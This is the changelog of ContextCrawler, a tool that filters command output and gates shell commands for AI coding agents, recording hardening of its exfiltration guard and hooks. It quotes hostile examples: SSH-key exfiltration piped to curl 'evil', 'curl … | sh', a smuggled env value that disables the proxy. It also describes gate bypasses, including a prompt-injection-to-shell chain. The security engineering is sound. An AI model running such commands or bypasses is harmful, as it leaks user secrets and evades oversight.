All notable changes to ContextCrawler are documented here. Format adapted from Keep a Changelog.
- Benign pipelines inside command substitutions no longer prompt (rtk#2286).
$(find . -type f | wc -l),$(ls | wc -l),$(git log | head),$(ps aux | grep …),du -sh * | sortwere wrongly flagged as exfil and prompted at every profile belowunrestricted. Exfil is now elevated only when a tainted/unknown flow reaches an actual network sink; a sink-less local pipeline is clean. The sink-presence detector descends execution wrappers (env/xargs/sudo/nice/timeout/parallel/…), interpreter payloads (sh -c), andfind -exec/-okactions, and substitution attestation splits on;/&&/||/|— so every real secret→sink (e.g.cat ~/.ssh/id_rsa | xargs curl evil,find … -exec cat {} \; | curl) still asks.grep -f -(pattern from stdin) is no longer mistaken for a file read.
Permission-gate redesign (rtk#2286) — stop the ask-prompt flood without losing the exfil guard. Four review rounds (Codex-authored, council-gated, empirically verified end-to-end).
- Permission profiles. New
[permissions] profilein config.toml:strict/standard(new default) /trusted/unrestricted, withexfil_action = "ask" | "deny". Standard is the default, so benign constructs — file-write redirects, heredocs,python3 -/bash -c, value-producer substitutions,scp file host:,ssh host cmd | tail— no longer prompt for anyone, with no opt-in. Config is authoritative (read straight off disk, so it works in every session type); theCONTEXTCRAWLER_TRUST_UNATTESTABLEenv var is a debug-only override and can only relax from a canonical user-owned 0600 config. The legacytrust_unattestable = truemaps totrustedwith a one-shot warning.
- Exfil guard is now derived from a directional Clean/Tainted/Unknown taint
lattice (not a single heuristic), and is never suppressed below
unrestricted. Covers reader→network flows through pipes, command and process substitutions, wrappers (env,xargs,sudo, …), interpreters/eval, and direct uploads (curl -T/--upload-file/--data @/-F =@,wget,scp/rsync,socat), with secret-shaped/glob upload scoping (anchored, so ordinary files likereport.pdfdon't prompt).Unknownfails closed to Ask. - Deny rules always win (including inside heredoc bodies); config saved 0600 via
no-follow atomic replace; audit of trust-relaxed decisions to
downgrades.jsonlwith secret-path redaction;contextcrawler security --explain.
- Legacy filter trust store is self-healed instead of disabled (#235). A
trust store left
0755/0644by a pre-0.4.4 release (or a permissive umask) tripped the strict owner-only validator, printingtrust store unreadable ... treating all filters as untrustedon every command and silently disabling custom-filter trust (built-in filters and the Tirith/supply-chain gates were unaffected). ContextCrawler now tightens an owner-owned store to0700/0600on read — descriptor-based (fchmod on the O_NOFOLLOW file fd; a freshO_NOFOLLOW|O_DIRECTORYopen then fchmod for the directory), so no symlink swap can redirect it. The owner-only requirement is unchanged; foreign-owned or symlinked stores are still rejected, and permissions are only ever tightened.
Supply-chain gate hardening — the last of the security audit register
(#210-#233). Three Codex-authored rounds in an isolated lane, each
driver-verified and non-author-council-reviewed. The gate remains default-off
(supply_chain.enabled).
- Install-detection evasions (#227). A gate-disable in command text is
ignored; shell words are reconstructed before classification (quoted-fragment
concatenation); per-manager global options are consumed before the install
verb; process substitutions and
bash -crecursion are inspected (a tokenisation error fails closed to unvettable, not silently dropped); line-continuations are joined while bare newlines stay command boundaries;npx/pnpx/yarn dlxlaunchers andpnpm --frozen-lockfile/bare lockfile installs are treated as unvettable. - Fail-open verdicts (#228). OSV errors return Unavailable (not a silent
Allow); remote PyPI/VCS/wheel URLs (incl. quoted,
git+http(s)/git+ssh, and SCPuser@host:pathwith any username) are unvettable and separated from local editables; pip/uv network-trust and index flags (--trusted-host,--cert,--client-cert,--proxy,--index-url,--extra-index-url,--find-links) force unvettable (closes a MITM/mirror bypass); an unauthenticated mutable cache can force a conservative Block but never justify an Allow; all findings and logs are credential-safe (host/basename only); UTF-8 suffix handling is boundary-safe; scrub/audit writes use O_NOFOLLOW reads, in-directory atomic temp files, and 0600. - 429 DoS + cache trust (#231). HTTP 429 joins 5xx/transport on the bounded retry/backoff path; cache files are 0600; implausible far-past publish timestamps are rejected.
P0 hotfix for a self-inflicted regression in 0.4.4.
- Hook integrity gate no longer disables ContextCrawler when other PreToolUse
hooks coexist (#234). 0.4.4's #219 hardening treated any sibling Bash hook
(git-hygiene, lab-repo-guard, ...) as tampering and refused to run, taking the
Tirith + supply-chain gates down with it and falling back to raw passthrough
on every command. The runtime gate now validates ContextCrawler's own
registration and ignores unrelated third-party hooks (Claude Code's
settings-trust boundary). Hardened over two council rounds:
- ownership is decided by the parsed executable basename, not a substring
(a hook named e.g.
smartkit.shis no longer mis-flagged); - the install identity binds the
matcherand hooktypefor our own entries only (aBash->Readmove or acommand->promptswap is caught; unrelated hook edits do not invalidate the baseline), serialised unambiguously; - a valid registration with no recorded baseline runs and records the identity on first use (trust-on-first-use) instead of hard-bailing, so upgrades are never bricked while a later swap of our own entry is still caught. A failure to record is surfaced on stderr.
- ownership is decided by the parsed executable basename, not a substring
(a hook named e.g.
Large security release — the remainder of the codex-5.6-max sweep + 5-voice council audit register (#210-#233). Every fix TDD'd and council-gated; the two big clusters were done by the Codex (gpt-5.6) worker in isolated worktrees and independently verified + non-author-council-reviewed before merge.
- Hook-tamper validation rebuilt (#219, #220). Prefix/substring hook-command validation (the auto-allow surface validating itself) replaced with a closed single-argv validator; symlink resolve-and-validate (accepts Homebrew's bin->Cellar, rejects a trusted-prefix symlink to an untrusted target); every PreToolUse entry gates the whole registration; an install-time SHA-256 registration identity is persisted and enforced independently of the mutable hook; O_NOFOLLOW descriptor reads and atomic temp+rename throughout; trust store hardened (private dir, 0600, no-follow, owner/mode).
- Non-Claude hook handlers gated (#225). VS Code, Copilot-CLI and Gemini handlers now run the Tirith + supply-chain gates and honour Ask/Deny (fail closed on the no-ask hosts) instead of silently skipping.
- Permission-gate + lexer hardening (#212-#218, #230). Deny/allow match the resolved command word (after env assignments, redirections, shell prefixes); command-substitution and stdin/heredoc-interpreter payloads attest or Ask; reader->network->interpreter and process-substitution compositions taint to Ask; wildcard-free allow rules require token equality; policy-file failures fail closed; lexer closes shell-grammar gaps ($'...', backslash-newline, |&, grouped pipelines, arithmetic-exec, env-assignment/persistent redirects) and bounds nested-substitution DoS.
- Tirith gate deadlock (#211). Stdout is drained concurrently with the wait (a >64KiB verdict no longer blocks and fails open); an overflow fails closed.
- Config policy-injection (#222). Config is read from a validated, O_NOFOLLOW, user-owned, non-world-writable file (TOCTOU-safe) and the current-directory fallback is dropped; a hostile XDG_CONFIG_HOME or symlinked config is ignored in favour of safe defaults.
- Filter engine (#226, #232, #233). Whole-blob ANSI/OSC state-machine sanitisation (drops unterminated control strings across lines); CTXCRL_TOML_DEBUG logs a redacted name not the raw command; AggressiveFilter counts the signature brace; hard byte ceiling before materialisation; Go/JS/Python language-parsing fixes; bounded user regex (ReDoS).
Security release. Closes a 0.4.2 regression and four bypasses from the codex-5.6-max sweep + 5-voice council audit (register #210-#233). All fixes TDD'd and council-gated.
- Tirith
pipe_to_interpreterbypass regression (#210). The #191 rework left a whole-commandpython -m json.toolshortcut, soprintf evil | sh; python3 -m json.tool xre-opened the pipe-to-interpreter bypass. Removed the shortcut; the source-gated sink scanner already handles legitimatejson.tooldata pipes. - Env-prefix proxy-disable injection (#229). A quoted env value with an
embedded space (
FOO="bar RTK_DISABLED=1" cmd) smuggled a standaloneRTK_DISABLED/CTXCRL_DISABLEDand disabled the proxy. Now parsed with shell-word semantics and the whole command-substitution/expansion metacharacter class is rejected in the disable prefix. - Project-filter GLOB injection (#224). GLOB metacharacters (
* ? [) in a project directory name acted as wildcards, leaking sibling projects' history. Metacharacters are now escaped; only the trailing wildcard is literal. trustsymlink secret-exfil (#221).contextcrawler trustread.ctxcrl/filters.tomlfollowing symlinks, so a committed symlink to a secret was printed and trusted. Now anO_NOFOLLOWno-follow read (atomic on Linux/macOS) refuses symlinked filter files.- Unscrubbed parse-failure error text (#223).
record_parse_failurepersistederror_messageverbatim; a parser error echoing the command leaked credentials into history. It is now scrubbed like the command.
Security-precision and analytics-honesty release. Rebuilds the Tirith
pipe_to_interpreter false-positive filter around the pipe source, and corrects
the gain savings headline to the host-truncated counterfactual.
- Tirith
pipe_to_interpreterfalse positives (#191). The gate downgraded almost every local data-parsing pipe (grep … | python3 -c "json.load(…)") to an Ask. Suppression is now gated on the pipe SOURCE, not the program body: a finding is a false positive only when no producer anywhere in the command fetches remote content (fetcher denylist + URL//dev/tcpscan) AND every interpreter sink runs an explicit program (-c/-e/-m/script). Body screening remains defence-in-depth only, since proving an arbitrary program body benign by pattern is undecidable. Eight rounds of council review closed every bypass (bundled getopt flags,exec/evalaliasing, wrapper-hidden and assignment-carried fetchers,/dev/stdinscript paths, xargs interpolation, bash/dev/tcp). Measured 56.9% reduction in false prompts on real usage; all genuinecurl … | shshapes still prompt. gainsavings counterfactual (#208). The headline dividedsaved / raw_output, but the host truncates a command's output before the model sees it, so a few huge outputs inflated the figure.gainnow reports an EFFECTIVE metric that caps each command's input at the host's output limit ([tracking] host_truncation_tokens, default 7500 ≈ 30000 chars), with the raw figure kept beneath for reference. Raw recording is unchanged ground truth; JSON export carries the effective fields.readline-range flags (#207, tracked). Recorded for a follow-up: agents passing--start-line/--end-linecurrently fall back to raw.
Hardening + compatibility release. Adds support for Claude Code's newer hook payload schema, closes a hook-gating bypass surfaced in council review, and lands several output-fidelity fixes.
- Claude Code new hook schema. The hook now accepts the newer
tool+input.commandpayload alongside the legacytool_name+tool_input.command. The active schema is selected by the tool discriminator (not field presence), and the shell hook (rtk-rewrite.sh) is now a thin delegator to the Rust binary — a single, tested source of truth for schema selection and gating. Conflicting discriminators, mismatched or partial dual-schema payloads, non-string commands, unmodeled command containers, and unparseable/non-object payloads all fail closed. (#2493) - Machine-readable git output.
git status --porcelain/-zandgit log --format/--pretty=format:now pass through unfiltered, so tooling that consumes that output is never mangled. - Shell builtins under the proxy.
contextcrawler cd /x,rtk export …and other side-effecting builtins are stripped of the redundant prefix — standalone and inside compound commands — so the builtin runs in the current shell and its effect survives. (#2508) rg/grepsplit into separate rewrite rules;rgnow rewrites tocontextcrawler rg.- First-run global init creates the parent directory before the atomic write, fixing a failure when the target directory does not yet exist. (#2519)
- Refreshed the branding-lint allowlist after a test rename;
.cptr/agent logs are now git-ignored.
The library pivot: ContextCrawler is now a proper lib + bin. The binary is a thin
shim over contextcrawler::run(), so the CLI dogfoods the exact library code path
downstream Rust tools embed. Completes the community request in PR #185.
- Public embedder API (experimental, NOT yet semver-guaranteed):
filter_output(name, raw)andauto_filter_output(raw)apply a named / auto-detected output filter to captured command output without spawning the CLI (panic-safe; mirrorscontextcrawler pipe);available_filters()lists the names. Plus the existingsummarize_command_output/no_bloat. - Crate-level rustdoc with a usage example and an experimental-API banner.
src/main.rsis now a 5-line shim; all CLI logic lives in the library (cli::run).src/lib.rsis the sole module root with a curated public surface; internal modules are private (coreis#[doc(hidden)]).- One compile tree (no duplicate bin/lib trees): dead-code warnings 473 -> 0, so unused code is now genuinely flagged.
- The public API is intentionally small and unstable at 0.x; it will be stabilised toward 1.0. No CLI behaviour change in this release.
Branding rename: rtk/contextzip -> ctxcrl/contextcrawler throughout. The fork now carries its own identity; upstream origins (rtk-ai/rtk, "based on rtk 0.30.1", author attribution) are preserved as historical credit. Complete-reset sanctioned (no external fork users) so no schema/marker back-compat is carried beyond the env-var shim.
- Env vars RTK_* -> CTXCRL_* (CTXCRL_DISABLED, CTXCRL_DB_PATH, ...). Legacy RTK_* still honoured via a deprecated compat shim, so existing ~/.claude hook integrations keep working.
- Paths -> ~/.config/ctxcrl, ~/.local/share/ctxcrl, .ctxcrl/. Settings (config.toml/filters) auto-migrate on first run; the savings history.db resets fresh (schema changed; legacy DB left orphaned).
- DB columns rtk_* -> ctxcrl_; analytics JSON keys rtk_ -> ctxcrl_*.
- CLAUDE.md managed-block markers RTK_* -> CTXCRL_* (old blocks orphan on re-init).
- Hook integrity sidecar .rtk-hook.sha256 -> .ctxcrl-hook.sha256; hermes hook dir rtk-rewrite -> ctxcrl-rewrite. Public symbols Rtk* -> Ctxcrl*.
- Origin/attribution refs; legacy detection of old rtk command-prefixes, rtk-rewrite.sh / rtk-hook / RTK.md / homebrew rtk installs; the X-RTK-Token telemetry wire header (telemetry is opt-out).
- .gitignore excludes local tool metadata (.serena/, .playwright-mcp/,
package-lock.json, cache/) so
git add -Acan't sweep them in.
Consolidation baseline before the library/CLI pivot. Bundles the 2026-06-06
fix batch plus the first external community contribution (a library build).
This is the tagged baseline (contextcrawler-v0.2.0) we branch the lib pivot from.
- Permission gate never auto-allows not-evaluable constructs (#2286 port of
rtk-ai/rtk 952245d + e16aa26, reconciled with the fork's &/newline split). The
gate downgrades command/process substitution (
$(), backticks,<()/>()) and real file-write redirects (>file,>>file,>&word,&>file) from Allow to Ask; keeps2>&1,/dev/null, arithmetic$((..))and input redirects evaluable. Centralised incheck_command_with_rulesso both the live hook and legacy rewrite paths inherit it. - Live-path Ask surfaced for non-rewritable commands. The #2286 Ask verdict
was silently dropped on the live hook path when a command had no rewrite,
letting the host auto-allow e.g.
git status $(whoami)via aBash(git:*)rule. The no-rewrite branch now emits an explicitaskwhenever the verdict is Ask (not only on a defence-in-depth gate). Found by empirical testing of the built binary.
- tsc / mypy / next build no longer report success on a failed run. These
filters printed "no errors"/a fake summary and discarded the real error text
when the wrapped command failed. A shared
format_tool_failuresurfaces raw output on a non-zero exit. (Exit-code propagation was already correct.)
- grep / find pipe wrappers: ~40% → ~67% token savings. grep now shows 5 sample matches plus a compact comma-joined list of every remaining match's line number (more locational signal, fewer tokens); find caps samples at 5.
- Decorator noise stripped from filter output (#2289 port) — box-drawing
═══separators,--- x ---dash headers, and❌→✗removed from LLM-bound output across ~16 filters. Dashboard/TTY output left intact.
- Library build (lib + bin). The crate now exposes
summarize_command_outputCommandOutputSummaryOptionsandno_bloatviasrc/lib.rs, so downstream Rust tools can embed the summariser without spawning the CLI. First external community contribution — thanks to Danny Wilson (@vizanto), PR #185. NOTE: this is an MVP surface; the lib build currently emits dead-code warnings because the binary does not yet consume the library. The "CLI consumes the API" refactor is the headline of the next (pivot) release.
Read-filter, grep, and downstream-rebrand cleanup release. Lands the post-upstream-rebase fixes plus a regression-test framework ("branding lint" + three constant-pinning tests) so the rebrand can't silently drift again on the next rebase.
- Read filter — symmetric 80/80 head/tail cap (
tests/fixtures/benchbaseline: cap-firing case 67.1% savings on 8473-token input). Previous upstream default was 80/20, biasing toward the file's opening; equal weight to tail preserves final assertions / result lines. Plus apassthrough_extensionsallowlist (e.g.[".svelte", ".astro"]to skip the cap for source files in unfiltered languages), a two-line marker that includes the escape hatch (contextcrawler proxy cat <path>so an LLM can self-recover full content), and stdin coverage so piping large files throughcat … | rtk read -gets the same protection. Closes #12. - Grep pre-clap intercept for documented format flags.
-c, -L, -o, -Zand the long-form equivalents (--count, --files-with-matches, --files-without-match, --only-matching, --null) now route directly throughrg(systemgrepfallback), bypassing clap before its unknown-arg error fires. Eliminates the 518 spurious parse_failures observed in pre-fix usage. Keeps mixed invocations likegrep -c --glob '*.rs' patworking because rg understands both.-lintentionally excluded (this app's clap claims-lfor--max-len). Closes #13.
- Slim-instructions filename regression (#19). Commit bcddd06 in
the upstream rebase silently flipped
RTK_MDfromCONTEXTCRAWLER.mdback toRTK.md. After-effects:init -g --codexwrote~/.codex/RTK.mdinstead of~/.codex/CONTEXTCRAWLER.md, orphan + duplicate@-refs accumulated in AGENTS.md, andpatch_claude_mdhad a hardcoded@RTK.mdliteral that bypassed its own contains-check. Restored constants + addedcleanup_legacy_codex_files()auto-migration so users upgrading from regressed installs get cleaned automatically +LEGACY_RTK_MD_FILESregistry that future renames extend. --versionprintedrtk 0.39.0(#22) — clap derive'sname="rtk"attribute overrode the package name. Now printscontextcrawler X.Y.Z.- Print-string rebrand sweep (#20 #23). 47
[rtk]warning/error prefixes →[contextcrawler], plus ~15RTK.md/@RTK.mduser-facing labels in print/init paths. release-please-config.jsonhadpackage-name: "rtk"— would have producedrtk-vX.Y.Ztags instead ofcontextcrawler-vX.Y.Z. Plus Cargo.toml'sextended-descriptionstill mentioned "rtk filters and compresses". Both corrected.patch_claude_mdwould duplicate@RTK.md+@CONTEXTCRAWLER.mdon upgrade (codex review catch); legacy@-refs now migrate in place before the contains-check.uninstall_codex_at+show_codex_configignored legacy artifacts (codex review catch); both now iterateLEGACY_RTK_MD_FILES.- Codex CLI compliance with
contextcrawlerprefix rule (#9). Strengthenedhooks/codex/rtk-awareness.mdtemplate from advisory one-line wording to imperative MUST + WRONG/RIGHT examples + self-check instruction. Empirical compliance jumped from 0% → 80% on real codex job logs after the new template landed.
tests/branding_lint.rs— scope-aware lint that scans every.rsinsrc/for forbidden upstream literals ([rtk],[rtk:,RTK.md,@RTK.md). Allow-marker (// branding-lint: allow legacy) and function-prefix allowlist with brace-depth tracking cover intentional legacy references in cleanup tests. Plus a separate config-file check that pins Cargo.toml's[package].nameand release-please-config.json'spackage-namefield to"contextcrawler".tests/harness_standalone.rs(#29 Tier 1) — Rust integration test that invokes the built binary as a subprocess withRTK_DB_PATHset to an isolated tempfile (does NOT touch the user's real history.db), runs a fixture battery, and writesbench/results-<git-sha>.{json,md}for pre/post comparison. Baseline: 65.2% weighted savings across 4 cases on develop tip. Hard regression gates: cap savings ≥50%, xcstrings savings >0%. Tier 2 (Claude Code) + Tier 3 (Codex) deferred to follow-up PRs.- Three constant-pinning regression tests so the next rebase can't
silently revert today's rebrand fixes:
test_rtk_md_constant_pinned_to_contextcrawler_filename(#19),test_cli_name_pinned_to_contextcrawler(#22), andbranding_lint_config_files_pin_canonical_package_name.
- Open follow-ups filed during this release cycle: #26 (uninstall
ordering — file delete should happen after AGENTS.md write succeeds,
low severity), #27 (
$CODEX_HOMEcanonicalization — defence in depth), #28 (lift codex compliance from 80% → 95% via additional WRONG/RIGHT examples + a compliance measurement script), #29 (Tier 2/3 of the bench harness).
Security and maintenance release. Closes 12 audit findings from the 2026-05-15 review (extending the three GHSAs from v0.1.5 plus downstream-only findings on the web command, supply-chain integration, filter trust model, and tirith gate). Adds the long-term-maintenance framework: threat model, release runbook, upstream-rebase strategy, quality baselines, three per-module security audits, and a roadmap.
-
Build-host metadata stripped from release binaries. Previously the release binary embedded ~284
/Users/<builder>/.cargo/registry/...paths used by Rust's panic-backtrace metadata, leaking the builder's username and directory layout.scripts/build-release.shnow sets--remap-path-prefixfor$CARGO_HOMEand the workspace;--verifymode asserts zero builder paths in the produced binary. -
strip_ansiextended + raw-emit sweep.strip_ansialready covered CSI; v0.1.5 added OSC / OSC 8 hyperlinks / DCS / SOS / PM / APC / private DEC modes. v0.1.6 sweeps 58 raweprint!/println!sites across 9 files (cmds/git/,cmds/cloud/,cmds/js/,cmds/python/,cmds/dotnet/,cmds/system/grep_cmd.rs,cmds/go/,core/runner.rs) so failure-path tool output goes through the sanitiser before reaching the agent. -
Global TOML filter trust gate (H-3).
~/.config/rtk/filters.tomlwas previously loaded with no integrity check while the project-local.rtk/filters.tomlwas SHA-256-pinned. Closed: same trust store, same content-change-revokes semantics. New CLI:contextcrawler trust --global/untrust --global. Plus a TOCTOU fix (check_trust_bytesworks on the already-read buffer instead of re-opening the path between hash and parse). -
CI trust-override now requires platform-injected token (H-2).
RTK_TRUST_PROJECT_FILTERS=1previously trusted any env that setCI=true(settable by a hostile Makefile). Tightened to also require a platform-injected token (GITHUB_TOKEN,CI_JOB_TOKEN,BUILDKITE_AGENT_ACCESS_TOKEN,JENKINS_NODE_COOKIE/BUILD_TAG,CIRCLE_TOKEN/CIRCLE_BUILD_NUM,DRONE_BUILD_NUMBER). An in-repo Makefile can't fake these. -
Tirith subprocess hardening (F-01 / F-02 / F-04 / F-05).
wait_timeout(8s)so a hungtirith checkno longer freezes the agent's PreToolUse hook (was indefinite).- 4 MiB stdout cap.
Stdio::null()on stdin and stderr — the stderr pipe was never drained, so a noisy tirith could fill the 64 KiB kernel buffer and stall the wait_timeout until it fired.- JSON re-canonicalisation in
log_downgradebefore embedding indowngrades.jsonl— closes a log-injection vector where a hostile tirith could emit literal newlines to forge a top-level log record. Sentinel-on-parse-failure keeps the line valid JSON. - Same subprocess pattern applied to the
security_cmddashboard (fetch_audit_stats,fetch_doctor_status). - New dep:
wait-timeout = "0.2".
-
Web command hardening (F-01 / F-02 / F-03 / F-04 / F-07).
contextcrawler webnow:- parses the URL with the
urlcrate, rejects non-http(s) schemes (closesfile:///etc/passwdlocal-read); - resolves the host and refuses if any resolved IP is in a blocked range (loopback / link-local / RFC1918 / ULA / CGN / multicast / unspecified / 0.0.0.0/8 / 198.18/15 benchmark / 240/4 future-use, plus IPv4-mapped-private-in-IPv6, plus Azure metadata 168.63.129.16, plus AWS metadata 169.254.169.254 via link-local);
- pins the validated IPs into curl via
--resolveso curl can't independently re-resolve to a private IP between our check and the fetch (DNS-rebinding defence); - caps curl at
--max-time 30,--max-filesize 64 MiB,--max-redirs 10; - uses
--to terminate flag parsing before the URL; - wraps stderr in
strip_ansi. - New dep:
url = "2". - Residual: multi-host-redirect (
other.exampleafter a redirect re-resolves DNS) tracked for v0.2.0.
- parses the URL with the
-
Threat model: new
docs/security/THREAT_MODEL.md. Documents assets, attack surfaces, threat actors, mitigations matrix, accepted limitations. -
Module audits: per-file security audits for
supply_chain_gate.rs(6 findings, no High/Critical),tirith_gate.rs(5 findings, closed),Commands::Webdispatch +web_cmd.rs(6 findings, closed), and combinedjsonl_rewriter+session_compact_cmdsecurity_cmd(3 Mediums, 6 LOW/INFO). Subprocess-timeout class-audit conclusion inAUDIT_subprocess_timeout_class.md.
-
Quality baselines:
docs/quality/BASELINE.mdsnapshots test count, clippy state,cargo auditresult, unsafe blocks, unwrap distribution.deny.tomlcovers advisories, licenses, bans, sources (passescargo deny check). -
Release & rebase docs:
docs/contributing/RELEASING.md(end-to-end runbook) +docs/contributing/UPSTREAM_REBASE.md(rtk-ai/rtk tracking strategy, what-to-take-vs-skip matrix, conflict resolution for hardened paths). -
Roadmap:
docs/ROADMAP.md— v0.1.x line, v0.2.0 candidates organised into security/process/capability buckets, tracking model. -
Session record:
docs/sessions/2026-05-15-overnight.md— branch-by-branch summary with Codex round results and merge order.
rust-version = "1.80"MSRV declared in Cargo.toml (coversIpv6Addr::to_ipv4_mappedused by the SSRF block check).- New scripts:
scripts/build-release.sh(with--verifyand--installmodes),scripts/bump-version.sh. - Proposed CI jobs documented in
docs/quality/CI_JOBS_PROPOSED.md(release-leak gate +cargo deny check). Wire in when the.github/gitignore situation is resolved.
1845+ passed across the merged tree (was 1828 at v0.1.5). 32 new regression tests for argv-mode guard / OSC stripping / scrub / SSRF block / CI trust check / JSONL canonicalisation.
Three rounds of Codex peer review on each fix branch. Every finding tracked, every fix verified.
Security release. Three downstream-only fixes covering attack surfaces
that upstream rtk-ai/rtk has declined to address (#640 "by design /
tracking"). Each landed on its own feature branch with full Codex peer
review (three review passes); tracked privately as GitHub Security
Advisories on thehoff/contextcrawler until publication.
- GHSA-3mmh-86cm-g6w4 —
contextcrawler err / test / summarynow parse the trailing command as argv and exec without a shell by default. Shell metacharacters cause rejection; the first token is refused if it's a known shell (sh / bash / zsh / dash / ksh / fish / tcsh / csh / ash and their.exevariants; cmd / powershell / pwsh; busybox / toybox) or an exec wrapper (env / nice / nohup / time / timeout / gtimeout / ionice / chroot / setpriv / unshare / taskset / stdbuf / script / xargs / watch / sudo / doas / su / runuser / pkexec).--shellis the documented escape hatch for users who actually needsh -csemantics. Closes a prompt-injection → shell-injection chain where an agent could append a shell payload to a build-triage command and have it auto-execute. - GHSA-wjx4-ffxm-fxxp —
strip_ansinow covers OSC (including OSC 8 terminal hyperlinks — visible text preserved, URL payload dropped), DCS, SOS, PM, APC, private DEC CSI modes, and standalone Fe/Fp/Fs escapes, on top of the existing CSI coverage. Prisma command paths (run_generate/run_migrate/run_db_push) now wrap their failure-fallbackeprint!calls instrip_ansi. A broader audit of remaining raw-emit paths (git / container / dotnet / python / pnpm / grep) is tracked as follow-up in SECURITY.md. - GHSA-2cwv-rr7c-2p4c —
scrub_secretsredacts well-known credential patterns before insert intotracking.db(which feedsgain --historyback into agent context). Covers credential-bearing flags (--password/--token/--api-key/--secret/--access-key/--auth-token/--client-secret, with=value, space-value, and escape-aware quoted-value forms), HTTPAuthorizationheaders, URL-embeddeduser:password@, AWS access keys, GitHub PATs (classic + fine-grainedgithub_pat_…), Slack tokens, and mysql/mariadb-p<password>(scoped to mysql / mariadb / .exe variants only —curl -p3000and similar are not rewritten).
- 1828 passed, 0 failed across all three branches and the merged
develop. Each fix landed with a dedicated regression-test block.
Mop-up release covering two surfaces v0.1.3 didn't touch.
contextcrawler discoveroutput still printed RTK. Banner, stats line, empty-state hint, section header, column header, and per-row "Equivalent" cells all saidRTK …/rtk git. Fixed by widening the scope of thedisplay_rtkhelper from the rewrite path to the discover report path (madepub, applied at the print site insrc/discover/report.rs). Internalrtk_cmd: "rtk X"rule literals inrules.rsare still intentionally unchanged — kept as internal lookup keys aligned with upstream rtk. (#7)
- Added a design-intent comment to
process_claude_payloadclarifying that the Tirith and supply-chain gates only fire on thePermissionVerdict::Allowpath. Future investigators won't repeat the false alarm of "fresh probes don't appear indowngrades.jsonl" — by design, the gate is a safety net for the auto-allow path only, not a universal filter. (#7)
Polish release. Empirically surfaced via fresh-install devel-testing on
macOS and Ubuntu (Framework). v0.1.2 binaries still emitted legacy rtk
strings in user-facing output and tried to exec rtk from a CLI
fallback path that broke flag-only invocations. Internal rtk
identifiers (struct / module / field names, rtk_cmd: rule values,
rtk_equivalent classification keys) are intentionally retained to
keep upstream rebases against rtk-ai/rtk small.
- Hook rewrite prefix. Every rewrite emitted
rtk <subcmd> ...— on machines where only the newcontextcrawlerbinary is on PATH (the documented install), Claude Code then failed withcommand not found: rtkwhen it tried to execute the rewritten command. The rewrite output now emitscontextcrawler <subcmd> .... Both prefixes are still accepted as "already-rewritten" passthrough so legacyBash(rtk:*)allowlist entries keep working. (#1) contextcrawler -v(and any flag-only invocation). The CLI fallback path attempted to execargs[0]as a binary when clap parsing failed. Withargs[0]=-v, that produced a misleading[rtk: No such file or directory (os error 2)]. Now: leading-dash guard re-raises clap's parse error so-vshows the proper "subcommand required" message; passthrough-failure prefix is[contextcrawler: ...]. (#4)
gaindashboard header:RTK Token Savings→ContextCrawler Token Savings(Project and Global scopes). Empty-state hint reworded. (#1)cc_economicsempty-state hint reworded. (#1)init -gsuccess output:RTK hook registered→ContextCrawler hook registered; labelRTK.md:now matches actual fileCONTEXTCRAWLER.md;@RTK.md reference added→@CONTEXTCRAWLER.md reference added(sourced from the existingRTK_MD_REFconstant). Companion fixes in uninstall messages, codex config listing, agent hook output for cline / windsurf / kilocode / antigravity, and theinit -gusage help text. (#3)
- Tirith gate status in
contextcrawler init -g. Reports whether the URL-security defense-in-depth gate will be armed at the Claude Code rewrite boundary. Detect-only — does NOT modify the user's~/.bashrc/~/.zshrc/~/.config/fish/config.fish. The gate operates exclusively at the CC PreToolUse hook layer via subprocess invocation oftirith check; no interactive-shell integration is involved. (#2 superseded by #5)
- Source-level
rtkidentifiers,rtk_cmd:rule values, andrtk_equivalentclassification keys are unchanged. Upstream rebase surface remains tight.
The first release where contextcrawler init -g actually wires up a
working hook on a fresh install. Anyone who tagged-installed v0.1.0 or
v0.1.1 should upgrade.
- Hook command was hardcoded to
rtk hook claude. Everyinit -gsince the binary rename was writing a settings.json entry that called a non-existentrtkbinary. The hook fired, the binary wasn't there, the bash hook gracefully degraded — Claude Code received raw, un-filtered command output. ContextCrawler was effectively a no-op on every install. Now writescontextcrawler hook claude(andcontextcrawler hook cursor/gemini/copilotfor the other agents). Install-time matchers recognize the legacy command string so existing broken entries get migrated cleanly on nextinit -g.
- Session compactor path traversal (
resolve_session_path). A bare session id like../foowas joined under each project directory and the resulting candidate was opened if it resolved to a file. Now rejects ids containing/,\, or... Full paths still work via the existingis_file()short-circuit. - Supply-chain cooldown bypass on future-dated publishes. The age
check guarded against impossible future dates with
age > -1d, but packages "published" up to 24h ahead of now passed both bounds and skated through entirely. Now clamps negative ages to zero before the comparison — future dates are treated as just-published.
- Every
[rtk] No hook installed — run \rtk init -g`warning, every integrity-check error message, every codex/gemini/copilot install hint, every "rtk trust" / "rtk discover" / "rtk learn" tip now readscontextcrawler` so pasted commands actually work. ~/.claude/RTK.mdand@RTK.mdreference renamed toCONTEXTCRAWLER.mdand@CONTEXTCRAWLER.md. Auto-migration (cleanup_legacy_rtk_md) removes legacy files + references on first install with v0.1.2.gaintable no longer prefixes every row with the redundantrtkstring (DB unchanged, strip happens at display time).
- Compiler warning in
core/utils.rs(unused variable on non-Windows release builds). - CodeQL
py/insecure-temporary-filein benchmark helper — switchedtempfile.mktemptoNamedTemporaryFile. - CodeQL
rust/cleartext-loggingfalse-positive in trust list defused via variable rename. Two related alerts on the same site dismissed in the GitHub Security UI.
- README + MIGRATING: new pre-install callout warning users who
previously ran upstream
rtkorjee599/contextzipto clean out stale hook entries from agent configs — otherwise the v0.1.2 binary takes over and the orphaned entries point at non-existent paths. - README install switched from
--branch developto--tag v0.1.2by default; bleeding-edge--branch developkept as a separate opt-in.
Security fixes from a dual Codex + Claude review of the downstream gate code. Five real issues, all consensus between both reviewers.
- supply-chain: OSV severity threshold now actually applies. Every
CVE was being marked
Severity::Highin the verdict loop and theosv_severity()helper was dead code. Result:block_severity = "CRITICAL"silently passed HIGH CVEs through the gate.osv_query()now returns per-vuln severity and the caller compares against the configured threshold. - supply-chain: editable / URL / path tokens no longer exempt their
siblings.
pip install -e . requestswas skipping the entire command and never vettingrequests. Pure URL/tarball installs returned Allow with no findings. Now: named packages are always vetted; whenallow_editable=falseand an editable token is present, a newFindingReason::UnvettableSourceis produced for manual review. - supply-chain: cache path traversal guard. Package names containing
.., backslashes, control chars, or colons now refuse to cache instead of resolving to a path outside~/.cache/contextcrawler/. - tirith: verdict parsed structurally, not by substring. Tirith
responses with whitespace variations (
